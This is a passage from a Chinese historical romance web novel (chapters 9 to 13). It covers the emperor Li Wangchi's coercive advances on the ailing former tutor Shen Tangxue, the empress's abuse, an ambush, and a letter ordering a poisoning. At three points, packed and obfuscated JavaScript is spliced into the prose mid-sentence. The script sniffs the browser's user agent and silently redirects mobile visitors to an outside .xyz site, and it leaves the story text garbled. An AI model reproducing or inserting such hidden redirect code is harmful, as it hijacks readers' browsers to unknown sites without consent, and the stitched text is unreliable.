却抓了个空。 “嘭。” 金樽被撞翻,发出清脆的声响,他恍然地呆坐在原地,半晌猛然起身,踉跄着带着满身酒气往外走去。 “陛下——陛下!” 徐公公的阻拦被他推开,他急促地呼吸着,如同脱水的鱼一般想找一个慰藉,快步向暖阁走去。 树影摇曳,冷风拂面,他被吹得鼻尖发红,却是不管不顾地紧绷着身子抿唇向前。 ……直至看见熟悉的昏黄烛火亮起,带着那人脖颈上氤氲的暖香扑鼻而来时。 他才闭了闭眼,深深地卸下防备,放松了紧绷的肩膀。 “吱呀——” 檀木门缓缓推开,一张熟悉的温和眉眼映入眼帘,他喃喃道:“沈棠雪……” “阿雪。” 他踉跄地拖着恍惚的身体向前走,歪歪扭扭地走到沈棠雪面前,呆呆地站定,目光灼灼地盯着面前的人。 沈棠雪被他浓重的酒气熏得蹙了蹙眉,小巧的脸颊别过头去轻咳一声,转眼望来的眼神还带着湿润的水光。 他朱唇轻启,似是要开口问他什么,李妄迟却猛地上前两步,倾身将他按着双臂禁锢在了床榻上。 绸缎般的乌发散落满榻,沈棠雪眼前一暗,只觉一阵侵略性极强的气息喷在他的颈侧。 李妄迟高大的身影将他笼罩,缓缓靠近之时,唇间若有似无地贴近他的脖颈。 他有些嘶哑的语气哽在喉间听不明晰,似是带了些懊恼的痛苦, “你凭什么……凭什么过得不好?你抛弃我结果你还过得不好?你凭什么……” 沈棠雪没听清,只觉在这浑浑噩噩之中也被酒意染得迷迷糊糊。 他被呛得眼圈发红,微微迷茫地睁着湿润的瞳孔,不想和酒鬼一般计较,却也难受,伸手想要将李妄迟推开—— 却被猛地抓住了手腕。 那样瘦削的手腕苍白细瘦,白皙的皮肤下都能看见浅淡的青筋。不过抓握一瞬,便泛起一阵红痕。 李妄迟缓慢地收回身子,转眼去看被他握着的手腕,湿润的睫羽上还带着一两滴细小的泪珠,语气沙哑地轻轻道: “我什么都知道了,你在草原……” 骤然,他还未说完,便被啪嗒一声拍开了手。 沈棠雪呼吸粗重,听到这句话时眼神都清明了几分,像被烫到一般猛地收回了手。 他看向李妄迟的眼睛骤然发红,此时连气息都跟着颤抖。半晌,闭了闭眼别过脸去。 一副避而不谈的模样。 李妄迟怔怔地看着面前人将掌心中的手腕抽走的动作,没意识到方才的话意味着什么。 他只感觉一枚石子在他心头嘭地砸了一下,一阵酥酥麻麻的酸涩之感在心口蔓延开来。 沈棠雪不看他。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16036286|178699||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ……他不想看他。 为什么他总是被沈棠雪瞒在鼓里,为什么沈棠雪在他面前一直都是这样淡漠心狠的模样? 这双长睫掩盖的漂亮眼睛冷得如刀,永远将他置之事外,他也…… 永远进不到他的心里。 刹那间,他也不想管面前人究竟瞒了他什么了。 只想着凭什么他机关算尽,沈棠雪还是高高在上不肯低头。 凭什么沈棠雪为着李锦殊愿意入狱,为了兄长能伤神至此,却依旧不愿意…… 看他一分。 明明成王败寇。他才是胜者,他才是赢家…… 沈棠雪……合该是他的战利品才对。 不知何时,他夹杂着醉意的眼神愈发凝定,瞳孔中那一抹刺眼的红紧紧地盯着沈棠雪。 他赢得的东西…… 他会自己来要。 忽而一阵天旋地转,沈棠雪只觉手腕一紧,李妄迟握着他手腕的力度骤然加重,几乎要将其揉碎。 他还未来得及惊呼一声,便被李妄迟直直地逼近禁锢在两臂之间—— 避无可避地对上了他幽黑得发寒的眼神。 烫热的呼吸响彻在他的耳边,沈棠雪恍然地还未回过神来时,听见了一声呢喃得发沉的语调。 “你不给的……我自己来拿。” 唇齿被烫热的触感填满,李妄迟粗暴地捏着下巴吻了上来时,沈棠雪的脑子霎时一空,茫然地睁大了眼。 恍惚之间,李妄迟似是将膝盖挤进他的双膝之间。牢牢禁锢着他的动作。 温热的吐息喷在他的颈侧,红着眼睛紧紧盯着他的眼神好冷…… 像猎食的野兽正端详着自己的猎物。 沈棠雪被盯得头皮发麻,透过他黑沉沉的眼睛,只觉一阵又沉又静的黏腻触感如黑暗一般,叫他浑身战栗。 瞳孔本能地涌起一阵恐惧,身体对于窒息感本能的恐惧溺了上来—— 那是源于这三年时刻紧绷的本能厌恶。 他瞳孔微张,恍惚之间草原上一张张嘲讽看着他的人脸又浮现脑海。 那些人影或明或暗地站在一旁,讥笑着厌恶地看着他,化作一团团黑暗将他层层围住,逼着他在李锦殊身下求欢…… “李妄迟……” 面前人抓着他手臂时强硬力道几乎要掐入皮肉,他的脸色逐渐变得苍白,额上冷汗如雨下,不知是被魇的还是痛的。 ……你怎么也这样? 上次讥讽他说“兄长还不是没有带你走”“还不是要落到我手上”。 如今又学着那些人的姿态逼着他做不喜欢的事,将他的伤口撕开一遍又一遍…… 如今的他……和他们又有什么不同? 沈棠雪猛地往后仰身挣脱开来,嘴唇颤抖得厉害,整个人就跟被水里捞出来一样。 他微微垂着头,攥着李妄迟衣襟的手揉得发白,身子不断发颤。 李妄迟既说已经知晓了草原的所有事,为什么还要这么对他…… 难道也要和他们一样,因这三年翻旧账将他扯得遍体鳞伤才顺心吗? 想来就来想走就走,将他困在宫中肆意摆弄。这样轻佻的姿态……把他当什么了? 10. 第十章 纤长的睫羽微颤,那双清冽如冰雪的眼睛里的水光都在颤抖。 沈棠雪轻敛着眉,想到此就身子紧绷,看着面前紧贴的人,一阵一阵的厌恶涌上心头。 抑制不住地犯恶心。 他缓缓抬起手臂,无声地去掰李妄迟揽着他腰间的手,发软的指尖不住颤抖着,力道却是毫不留情的决绝。 像只被攥着双翅的鸟儿……却还是一下一下地拼尽全力摆脱束缚。 李妄迟感受到怀中人的异样,微不可察地一顿,转眼向他望去,眼神带着缱绻的凝视。 却在看见沈棠雪红着眼眶失神空洞的眼神和不住挣扎的发冷身子时—— 霎时酒都吓醒了。 “沈棠雪……沈棠雪?” 他颤抖地哆嗦着唇瓣,看着怀中人紧闭着眼脸色煞白的模样,伸手触碰他的侧颊。 结果接触到的只有彻骨的冰冷。 李妄迟霎时慌了,害怕地俯下身去听沈棠雪轻微地呼出一息息冰冷的鼻息,却只能隐约听见一声低低的呢喃。 “滚……” 沈棠雪的语气又低又沉,还带着痛苦的哽咽,夹杂着尾音之中,连语调都变得绵软。 李妄迟没听清,又倾身将耳朵贴近。在脆弱的冰冷呼吸中,却只能听见沈棠雪唇瓣微张,从喉咙中嘶吼出一声低喃, “……给我滚!” 李妄迟滞愣了一瞬,被他挣脱了束缚,刹那间又被推得踉跄了两步。 那句痛苦的低吼似还盘旋在他的耳边,李妄迟都不知道自己是怎么站定的,只怔怔地站在原地。 他整颗心都沉了下去,方才攢起的势在必得的勇气都被消了个干净。 看着沈棠雪将自己戒备地蜷在一处、发红着眼尾用一双带着无尽恐惧和厌恶的神情看着他时,他的心都在颤抖,嗓子堵得厉害。 他很想问他为什么…… 可是问了又能怎样? 面对着脆弱成这般的人……他能做什么?他敢做什么? 他喉头一滚,太阳穴突突直跳,总觉得此事跟他遗漏的草原真相有关,低垂着的手蜷了一蜷。 沈棠雪当年到底做了什么……才让如今情形变成这般? 他要知道。 …… 沈棠雪再睁眼时,已然巳时了。 明媚的阳光透过窗棂斜斜地洒在木地板上,他抬起一双灰暗空洞的眼睛缓缓看向床顶,眼神中满是淡漠。 昨日挣扎之时还残留着刺骨的酸痛,他蹙了蹙眉忍着痛意直起身来,垂眸看向自己如今这般狼狈的模样。 一头绸缎般的乌发披散在床榻上,宽大的单衣松松垮垮地挂在身上,白皙的胸膛若隐若现地勾勒出来,还有…… 被用力抓握时仿若吻痕的斑驳痕迹。 他嘲讽地冷笑一声,像被刺痛一般微微蹙眉,烦躁地别开眼去,瞬间感觉嗓子里都翻涌着一阵血气。 昨日情绪波动太大,这副脆弱身躯里的生气本就所剩无几,如今几乎要消失殆尽。 如若再这样折腾下去,他恐怕连三个月都没有了。 他这般想着,正准备利落下榻出门去,却听忽而殿外传来脚步声,与窗棂上斑驳的光影凑在一起。 “皇后娘娘驾到——” 沈棠雪身形一顿,眼睛微眯,下一秒见殿门被人猛然推开。 一阵冷风侵袭,直直钻入殿中,一时浸得他骨子里发冷。他手指一蜷,转过头猛咳两声。 便见一人裹着狐毛貂裘大步而入。 那人与他有六分相似模样,高高仰起头时,眉眼之中尽显刁蛮凌厉,身后跟着一群毕恭毕敬的侍女侍卫,身穿华贵衣裳,腰间配着都是宝玉。 反观他脸色苍白只身一人,倒显得有些脆弱得可怜。 皇后走近两步,微微抬起下巴高傲道:“见着本宫——还不起身下跪?” 沈棠雪撩起眼皮看了他一眼,淡淡地敛下眼睫,修长的五指抵在床榻上不咸不淡地点了点头, “拜见皇后娘娘。” 他虽惹病气又处境狼狈,但到底是曾经的太傅,那出尘的气质掩饰不住。 只一个眼神,便足以让人看出二人之间的天壤之别。 皇后被他平淡地一回,大张旗鼓的架势倒是显得兴师动众得可笑。 他吃了瘪,心起一阵无名火,又在视线流转到沈棠雪胸膛那若隐若现的红痕之时,笑意霎时僵住了。 陛下昨夜也来过了? 他咬牙切齿,连指甲都要掐入掌肉里去,“不过是没名分的贱人……装什么?来人,将他给本宫拉下来跪下!” 长得漂亮又如何,是圣上曾经的心尖尖又如何?当年选错一步,还不是落得无名无分的下场! 怎比得过他一分? 他的语气发狠,怒气冲冲。众人却是面面相觑,此刻有些不敢动。 他们虽是听从皇后派遣,但这些时日隐隐约约听闻暖阁住进位小贵人。 虽不知其底细,但可是得了御前徐公公的打点的,谁人敢怠慢? 更何况—— 如今一见,才知这小贵人竟是沈太傅。 当年陛下爱沈太傅爱得无人不晓,就算是当年沈太傅倒戈,在瑄王入狱之后陛下并未将其一并打入地牢,而是将其接回宫,也足以显示重视。 更何况……瞧着着屋内的旖旎神色,恐怕昨日陛下刚留宿此地。谁知道陛下如今是什么态度? 如若他们当真将人拉下来跪下,明日陛下知晓……莫不是要砍了他们的脑袋? 皇后不知他们心里所想,不管不顾地存心要敲一敲沈棠雪的傲骨。 见这些人一时踌躇无动作,他转头对着自己的亲信冷喝道: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16036287|178699||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “还不快将人给本宫拉下来?” “是!” 他身后的几名亲信侍卫骤然向前,一把推开守在沈棠雪床前的侍人,一把抓着他的胳膊就把他往地上拽去。 “你们做什么!都给我放开!” “敢动贵人,你们不要命了不成!” 场面一时慌乱,暖阁中的侍人与皇后带来的人推搡成一团,拉的拽的什么都有。 沈棠雪被侍卫强摁着跪下,膝盖狠狠压在冰冷的木地板上,发出“嘭”的一声。 刹那双膝重重地泛起一阵红痕,一股痛意往上涌。 他紧紧地蹙了蹙眉,嗓子内泛起血腥味,微微晃了晃身子,被巨大的拉扯感震得一阵头晕目眩。 再抬眼时,只见皇后勾起唇,扬起一抹得意的笑来。皇后缓缓抬起下巴如同审判一般宣告道: “本宫独得恩宠这些年,宫里早就没有你的位置了……你算什么东西?” 他蹲下身来,强硬地伸手捏着沈棠雪的脸颊端详一番,轻笑一声语气中满是讥讽, “真以为你还是当年陛下心尖尖上的沈太傅哪?” 沈棠雪被捏着下巴被迫抬起头来,疼痛地眉心一蹙,眼神淡然地回道: “既是这般不在意,那‘皇后娘娘’如今来暖阁是做什么?竟这般清闲,来看我这等无名小卒的热闹么?” 皇后被他毫不留情地拆穿,刹那敛了神情,看着他的眼神更为阴沉。 他捏着沈棠雪脸颊的手指下滑,骤然转而在他的颈侧一按,顿时听见一声闷哼。 沈棠雪额上顿时沁了一滴冷汗,被强硬地扼制住了脖颈,只好被迫跟随他的动作仰起雪白的长颈一深一浅地呼吸着。 皇后见状,得意地扬了扬下巴,又将力度加上了一分。他阴沉的眼神中,眼底杀意汹涌。 这些日子沈棠雪入宫的消息早在宫中传出,陛下因此成日魂不守舍,他早就猜到一二。如今猜测证实,更是让他几乎要发疯! 他虽贵为皇后,可入宫后陛下并未碰过他一次! 每每看着他时,那温柔的眼神都像是在透过他看什么人…… 他能看什么人?会是什么人? 谁人不知陛下有位求而不得的白月光? 当年沈棠雪清风朗月才华横溢,一颦一笑名动京城,连带着他也因此凭着与他相像的脸入了宫,得了这皇后之位。 但假的……就是假的。 他受到越多追捧,他就对沈棠雪越嫉妒,凭什么他是被高高捧着的月亮,自己就是蝇附骥尾,只能靠着他的光芒获得好处? 凭什么他端得高风亮节,就算倒戈反叛……也在陛下心头留下一席不可泯灭之地? 他本以为沈棠雪就此会死在草原里,没想到他竟然回来了…… 回神之际,皇后的眼底愈发晦暗,闪烁带着杀意的冰冷。 11. 第十一章 皇后将睫羽一压,幽幽的眼神藏在阴影里,皮笑肉不笑道: “沈太傅当真伶牙俐齿,不输当年哪……不过如今你就是条无家可归的丧家犬罢了,拿什么跟我争?” 他端得嘲讽,却没想到沈棠雪骤然一顿,再抬眼时,眼神顿时变了。 这句话像是触碰到了沈棠雪的逆鳞,让他瞬间敛了神色。 那双漂亮眼睛迸发出不可直视的冰冷,气息都带着颤抖,像是极力克制自己的怒意。 半晌,他抓住皇后掐着他脖颈的手,一根一根用力地掰开。掰到自己手指苍白颤抖,皇后的手指咔嚓作响。 “你!” 皇后急急惊呼一声,吃痛地猛然收回手来,抬眼时被他清冽而幽寒的眼神骇了一骇,后背冒了冷汗。 “本、本来就是!我有权有势,你拿什么跟我争?” 沈棠雪淡淡地瞥了他一眼,神色未改,眼底是毫不在意的漠然。 皇后一愣,脑子嗡鸣。 不是因为权势……他这般大的反应竟不是因为权势。 那是因为什么? 难道他是因为他说…… 他不可思议地道:“难道你是因为我说你是丧家之犬……就因为这个?” 他顿时顿在了原地,脑海中闪过一丝荒谬之意。 他们宫中之人,帝王的偏爱便是一切,生杀予夺皆在帝王一念之间,血亲在绝对的权势之中又算得了什么? 丧家犬算什么……草原过得能有京城好么?回宫之后,金银珠宝什么没有,何需受那吃穿用度野蛮至极的日子? 他不明白。 这位举世无双的沈太傅连家国都可以抛弃,连爱人都可以抛弃,却受不了嘲讽他作丧家犬的这一句话? 他张了张嘴,怔怔地还未问个明白,沈棠雪却没有过多解释。 沈棠雪自顾自敛眉敛好了衣物,周身宛若夹着冰雪一般起身,长身而立,站至门口,淡淡地看他一眼, “我无意待在宫中与你争抢什么,不必冷嘲热讽我,放我出宫便是。” …… 看着面前的一座简陋小院,沈棠雪闭了闭眼深深呼出一口气,推门而入。 他本就没有回宫的打算,草原回来后,他只想凭着这些年攒着的银钱在京城买一座小小的院子,就这样度过余生。 却不想兜兜转转又卷进这样一遭事情里,平白多些纷扰。 “吱呀——” 进院之后,映入眼帘的是柔软地铺在地上、被堆成薄薄一层的院中小雪。放眼望去,院内四周的枝叶银装素裹,摇晃得可爱。 沈棠雪柔软着眼神看着这般景象,噙起一抹温柔的笑意。 走近将捧着的满怀兰花放好后,他蹲下身来眼轻轻捻了捻花瓣尖,拿起扫帚慢悠悠地扫起雪来。 沈棠雪扫得很慢,却又仔细。修长的手指缓缓攥紧扫帚,莹白的侧脸柔软,轻轻敛着眉眼时,那样安然的神情多了一分矜贵。 一时,耳边只有扫帚摩挲地面的唰唰声与安静的落雪声。 他转眼回望,将要出门采买时,雪落大了。 绒球般柔软的雪缓缓落下,在他的纤长睫羽上覆了一层白霜,像一朵朵晶莹雪白的梅。 他轻轻拢紧了颈侧的狐裘披风,吱呀一声打开木门。 街道上熙熙攘攘,一阵闲言碎语也顿时灌了他满耳朵。 “你听说了吗——宫中地位显赫的皇后娘娘被禁足了!真不知发生了何事,陛下大发雷霆,竟有废后的意思!” “嘘!据说呀——是惹到了不该惹的人!” 沈棠雪一愣,紧接着听那人继续道: “当真?那位可是太尉家的嫡子,有权有势,入宫以来独得圣宠,哪位贵人的权势比他还大?竟惹得圣上这般?” “这你可有所不知——喏,瞧见前头的告示牌和巡逻侍卫手上的画像没有?那位才是圣上心尖尖上的真贵人!” 沈棠雪淡粉的唇瓣微抿着,顺着他们的话语望去,看向了街道上拿着画像的侍卫。 看到了…… 画像中的自己。 他仿佛被一盆冷水浇下,方才扬起的出门采买的愉悦顿时消了大半,感觉喉咙被一只无形的手攥紧,顿时一阵无力感袭了上来。 这一张张画像和一个个不知其内情的人好像编织严密的网,将他层层包围其中,勒得喘不过气来…… 好像自己再也逃不出李妄迟的手掌心一样。 有必要么? 李妄迟……不过是像孩子执意要一个玩具一般非他不可。可就算他抓得再紧、再不想放手,他也知道他想要的只是那个三年前虚无缥缈的影子。 不是他。 那样意气风发的沈太傅早已随着记忆入土了,如今剩下的他残破不堪、苟延残喘…… 甚至只有三个月可活。 有什么好留恋的。 沈棠雪自嘲地笑了一声,想起那一日李妄迟将他禁锢在床榻上时那样偏执阴狠的眼神,顿时一阵厌恶涌上心头。 这三年……也实在变了太多。物是人非,曾经那般美好的时日也不过是泡沫一般的镜花水月罢了。 不如就…… 算了吧。 耳边人似是认出画像中人,说着“沈太傅”种种之事。他撩起眼皮朝那人望了一眼,缓缓拉紧了面帘。 在街道尽头巡逻侍卫渐近之前,走进了无人的蜿蜒小巷。 …… 夜深之时,街道寂静,行人皆已入了屋去。 只剩乌鸦几只盘旋树枝,昏黄灯笼摇晃屋前,街道空旷,一时只有鞋履摩挲地面的声音。 沈棠雪提着置办的物什,拢着狐裘披风款步向前走去。 “唰拉。” 树叶匆匆而动,卷起窸窣之声。他眼神一凛,警觉地环视一圈。 风声又如恶鬼呼啸将叶动声全数掩盖,转瞬即逝,刹那安静。 是他听错了么? 他撩起眼皮向旁一瞥,并未放下警惕,轻着脚步贴在房沿,安静听声。 寂静之下,似有三两窸窣脚步隐隐约约在树间移动,但街道漆黑,放眼望去只余看不清轮廓的房屋与昏黄灯光,分辨不出有无。 沈棠雪眼神一敛,正欲向外轻挪身形,下一秒,却听一道箭矢 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沈棠雪思索了片刻,脚尖一转轻蹑着脚步正欲往后缓缓退去。 却没发现黑暗中有数根杂草顽强绽放,正在他即将踩下的必经之地—— “咔嚓。” 杂草被清脆踩断,声音在这寂静时候显得格外明显。 沈棠雪汗毛竖立,猛然抬头,只见空中数道冷光齐刷刷地捕捉到了他! 遭了…… 他想都没想就快步向后跑去,无数破空声随即擦过他的耳侧! 箭矢追随着他的身影紧随其后,一两根箭矢插至他面前的地面,响起嗡鸣,沈棠雪身子紧绷,全神贯注地跑着。 在他看不见的背部暗处,却有一根箭矢破空而来,直直地刺入他的肩头! “噗呲!” 刹那鲜血涌出,温热的血液洇湿了白衣。 沈棠雪闷哼一声,往前踉跄两步,竟几乎疼得要往前跪坐下去。 他的呼吸都颤抖得发冷,指尖发着轻颤扶着墙往前又挪了两步,侧身躲在墙后急促地深呼两息,额上满是冷汗。 他今日本就耗费太多精力,脚步虚浮,如今痛觉蔓延到脑海,太阳穴突突地跳,整个身子如同灌了千斤重。 但是不能停……不能停。 他咬了咬牙,伸手用力地捂着肩头,拖着沉重的脚步向前走去。 五指之间渗出血来将他的衣物染红,衬得他单薄的身影更为虚弱。 “唰——” 倏然,有一道细得微不可察的声音响起,顺着昏暗的夜空隐秘地袭来。它与其余箭矢方向不同,来自—— 他面门的正上方。 沈棠雪怔怔,脑子不可控制地空白了一瞬,只见箭矢冷光倒映在他的瞳孔之中,愈来愈近! 一阵对于死亡的恐惧本能油然而生,他的脊背不自觉发冷,浑身僵硬,猛地闭上了眼—— 下一秒却被人骤然护着扑到了地上! 12. 第十二章 “嘭!” 两人齐齐摔落在地,沈棠雪肩头一颤,箭矢因着受力又被扎进去两分,溢出浓重的鲜血。 他闷哼一声,微微低头往膝弯里蜷,颤抖着指尖摁住肩头的伤口。 他的呼吸气若游丝,似是已然力竭,还带着些许颤抖。被人搂在怀里之后,不自觉放松下来,缓缓沉下身子。 睫羽微颤昏昏沉沉的,半晌连眼皮都要盖上。 “沈棠雪?沈棠雪!” 来人颤抖地将他环在肘臂之间,温热的大掌环住他摁在肩头上的手,焦急地喊着他的名字。 他却有些听不清了。 沈棠雪吃力地微眯着眼去看来人,却只能看到一片模糊。 直至烫热气息喷在他的颈侧,熟悉的气息缠绕在他的鼻尖,沈棠雪才后知后觉地察觉来人是谁, “李妄……” 他轻嗬着气息唤了一声,再没有气力想许多了,晕晕沉沉地靠在李妄迟怀里昏睡过去。 而远处,街道中蹿出了数十名侍卫,将他们层层保护起来。屋檐上的弓箭手被全数杀了个干净,追杀的人被押送到李妄迟面前。 一个不落。 李妄迟紧紧抱着怀中人,周遭的气压低沉得可怖。他缓缓抬起眼面色阴沉地环视一圈,语气冷得像掺了冰,“这些人……” “将幕后主使问出,便都、杀、了。” 他缓缓抱起怀中人,冷冷地吩咐道:“唤太医来。”便自顾自离去。 …… 沈棠雪烧得很重。 往常那样连指尖都是冰冷的人,如今竟浑身如火炉一般烫热。 他的脸色苍白如纸,眉头紧蹙着,睫毛湿漉漉的,别过头去的神情都带着不安。 李妄迟给他拭汗的巾帕被他避开,喂药的动作也被他避开。他似是睡梦中也在戒备,浑身紧绷,一被扶起身便猛猛急咳起来。 李妄迟看着他这副模样,喂药的手都在颤抖。 眼见着他愈发虚弱下去,最终还是别无他法,只好让太医再来看看。 谁知这一看,竟看出个惊骇消息来。 沈棠雪只有三个月可活了。 “他的经脉早已断裂,又并未好好调养,已然伤了身子。如今顽疾根深蒂固……已经无力回天了。” 霎时空气沉默,周遭气压骤低,风雨欲来。太医冷汗直冒,连大气都不敢喘,不敢回头去看帝王的眼神。 不知过了多久,身后才传来一道沙哑的声调,“……只有三个月可活了?” 他本以为牢狱之中那些人说的话已是难以入耳,如今却又告诉他沈棠雪经脉断裂、浑身底子都被毁了个干净…… 这三年……他在草原到底都经历了什么? 回想起牢狱之中囚犯脱口而出的“叛徒”之事,他沉默地看着床榻上沈棠雪瘦削苍白的脸颊,甚至没有力气再往前走一步。 他连嗓子都变得干涩,半晌还是挥了挥手屏退了太医,三两步上前坐在了床沿。 面前的瘦弱手腕无力垂下,只手可握,上面的青筋清晰可见,白皙的皮肉若被他粗粝的指腹一按…… 都要按出个红痕来的。 而这样脆弱的人……却在草原大厦倾塌之后,孤身一人单薄地回到京城。 他走了多久……又是怀着怎样一颗心回来的? 他自以为了解沈棠雪够多,可这一刻他才觉得,自己好像一点也不了解他。 沈棠雪才回京之时,谢将时的态度有所不对,话里话外隐隐约约倒觉着是他亏欠了沈棠雪; 在他说起“知晓草原之事”后,沈棠雪的反应也大得反常。恐怕草原之中,也不止他知晓的那些事那么简单…… 李妄迟顿时觉着嗓子嘶哑。 他不知道沈棠雪在想什么、要什么,也不知道……他经受了什么。 而这个他恨到骨子里的人……也马上要跟他尘归尘土归土了。 李妄迟闭了闭眼,吐出的气息都带着颤抖,一时竟有些害怕回过神来,不敢去看如今的这番景象。 如今身处的这间屋子……是沈棠雪为自己置办的小屋。 小屋内四周柜子上的陈设轻巧;窗棂旁的花几上放着随风微晃的绿枝;桌案之上,还有他自己做的小物件…… 这样精致的摆放都在昭示着主人家是花了心思的。像是他甘愿居于这一隅…… 了却余生。 霎时,沈棠雪可能真的会死去这件事又盘旋回他的脑海,李妄迟顿时眼眶红了。 这样的屋子再待不下去一分,他猛地站起身,逃也般几欲离去。 走出几步时,却听见床榻上的人闷哼一声,呢喃了一声呓语。 沈棠雪喃喃的语调断断续续,嗓子有些许绵软的哽咽。他紧攥着被褥,眼睫微颤、唇瓣微动时,眼尾的晶莹泪珠顺着脸颊滑下, “不要……” 李妄迟颤抖着呼吸顿了脚步,沉默片刻,终于又坐回沈棠雪身旁,俯身凑近他的唇边去听—— 却在听见沈棠雪虚弱得几乎只剩气音的委屈语调后,身子僵硬。 “我不要……回宫,也不要回……草原。” 沈棠雪就这么不想见到他么? 得到他出宫的消息的时候,他慌慌张张地放下手上的事;捕风捉影到有刺客要对他下手的消息的时候,他比谁都紧张。 沈棠雪却甚至在梦中……都执着着要逃离他? 李妄迟不由得发起抖来,回想起沈棠雪清醒时的厌恶眼神,真想装作自己没来过,好让他过得顺心些。 可是眼前人如今脆弱成这般模样……自己又怎能真的放任不管了? 他自嘲地低声苦笑,连自己都觉得自己犯贱。袖中手紧紧地蜷了又松,松了又蜷。指甲都嵌入掌肉里,鲜血淋漓。 半晌,他看着眼前人消瘦的脸颊,妥协般嘶哑着声音轻道:“……好。” …… “阿雪,你醒了?” 沈棠雪猛然坐起时,第一反应是浑身紧绷地转头看向屋内陈设。 在见着熟悉的地方后,他缓缓沉下肩膀放松下来,结果一转眼,看见了谢将时。 谢将时正坐在床沿的椅凳上神情自若地端着药碗低头搅着瓷勺,而李妄迟坐在一旁沉默着一声不吭。 沈棠雪暗暗戒备地 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“要不要去府中吃饭?父亲母亲都很想你,如若他们知晓你回来了,会很高兴。” 当年京城无人不晓沈棠雪的名号,谢父谢母对其也是称赞有加。纵然三年前下毒之事闹得满城风雨,谢父谢母也仍觉得他有难言之隐。 如今他回来了,理应要去见见的。 沈棠雪的眼神似是有些动容。却在想到什么之后,还是缓缓摇了摇头, “不必了……你们不要和我走得太近。” 谢将时的眼底闪过一丝失望,瞧出他今日魂不守舍,也能猜出他是因着李妄迟的事在犹豫。 他没多劝,只是沉默了片刻,像是下定了什么决心一般问道:“当年李锦殊寄来的信和东西……你放哪了?” 沈棠雪一顿,“在原来的地方……怎么了?” “你不是不想他知晓当年那事么?我去帮你把东西收起来,将当年办事的人送出京去,这样他就……” 却见沈棠雪惨然地笑了一下,打断他的话,“不用了……将时。” “他已经知晓了。” 他的话语让谢将时猝不及防地脑子空白了一瞬,本能地觉得不对,“……什么?” 如果李妄迟知晓此事,怎么会是这种态度? 他那模样明摆着是还心存芥蒂,心中攢着事情未解,怎可能已然全数知晓了? 谢将时张了张口还未问个明白,忽闻门外似是有人因着话语而恍然地后退两步,紧接着传来花瓶被碰碎的声音。 “嘭!” 13. 第十三章 “谁在外面?” “我去看看。” 听着屋内愈来愈近的脚步声,李妄迟怔怔地看着瓷片割破手指洇出的丝丝血痕,避也不避。 当年李锦殊寄来的信和东西是什么,他究竟被瞒着什么事未曾知晓? 什么东西…… 被放在了原来的地方? 沈棠雪当年的一切东西都在故居被好生存放,既然他这般稀松平常地将其谈起,也许那件东西…… 就在当年的故居里。 李妄迟的心脏怦怦直跳,感觉抓到了一切真相的关键,几乎有点手抖了。 他深深呼吸两息,赶在屋内人未至之前,提步往外走去。 穿过几道蜿蜒小巷,一片幽暗的竹林映入眼帘。 郁郁葱葱的竹子将阳光遮了大半,落雪飘飘扬扬,一条鲜少人知的隐秘石板路被掩埋得几乎看不见轮廓。 李妄迟定定地看了许久,踏上那条三年没来的石板路。 寒风萧瑟地剐蹭着面颊,几近刺骨,他不为所动地往前走。不知过了多久,一座红砖青瓦的殿室映入眼帘。 这间殿室有些陈旧,似是许久未有人来,门前扫雪的侍人都有些许懈怠。 数日堆积的松雪薄薄一层凹凸不平地铺在门前,显得此处更为萧瑟。 李妄迟有些恍然地看着此地,脚步不自觉向前。 随着破旧的门扇打开,清新的木香伴着尘封的回忆扑鼻而来。 “吱呀——” 殿中三年未变,仍是熟悉的模样,侍人隔段时日来此打扫得干净,一切整洁得宛若并未将记忆尘封了三年。 右侧的紫檀木排柜上摆放一个个小小的木匣,里面是他们当年一起做的小玩意。 殿中靠窗的桌案上,那时翻阅的书籍和笔墨纸砚还被杂乱摆放着。 恍然间好似还能看见那人笑着撑头看他的模样。 一切……恍若昨日。 李妄迟感觉心被揪紧,强迫自己从回忆中脱离出来,想起自己如今来此地的目的。 他径直走到右侧的排柜旁将柜门打开,一个个拿出里面的小木匣,取出里面的东西。 这些物什一个个精致小巧,有沈棠雪曾经送他的香囊、亲手题字的折扇、圆润温和的玉佩……饱含了当时心思与情谊。 似是还带着那人残留的体温。 李妄迟将其一件件拿起,一件件看着,强逼着自己直面曾经美好的已然化作泡沫的回忆。 不是这个。 ……也不是这个。 一次次失望时钻进脑中的回忆将他的心刺得鲜血淋漓。李妄迟指尖发颤,找到最后……就连他也不知道自己要找什么了。 他黯然下神色,几乎有些绝望了,打开最后一个木匣—— 却在里面看见了一封被揉得发皱的信笺。 那封信纸页泛黄,已然有些年岁了,纸页上的字迹随着揉碎的动作歪歪扭扭,有些难分辨其中内容。 李妄迟指尖一顿,僵硬地将其拿起。 只需一眼,便看出了上面的是李锦殊的字迹。 他深深地吸了一口气,将信拿到桌案上抚平。 透过窗棂散落着的阳光,分辨着信中的话语: 寻一无人时候,将玉瓶里的毒药全数倒入药中。此毒无色无味,可神不知鬼不觉取他性命。 李妄迟按着信笺的手一蜷,眼底泛起冷意。 这便是沈棠雪当时收到的李锦殊要他给他下毒的命令么? 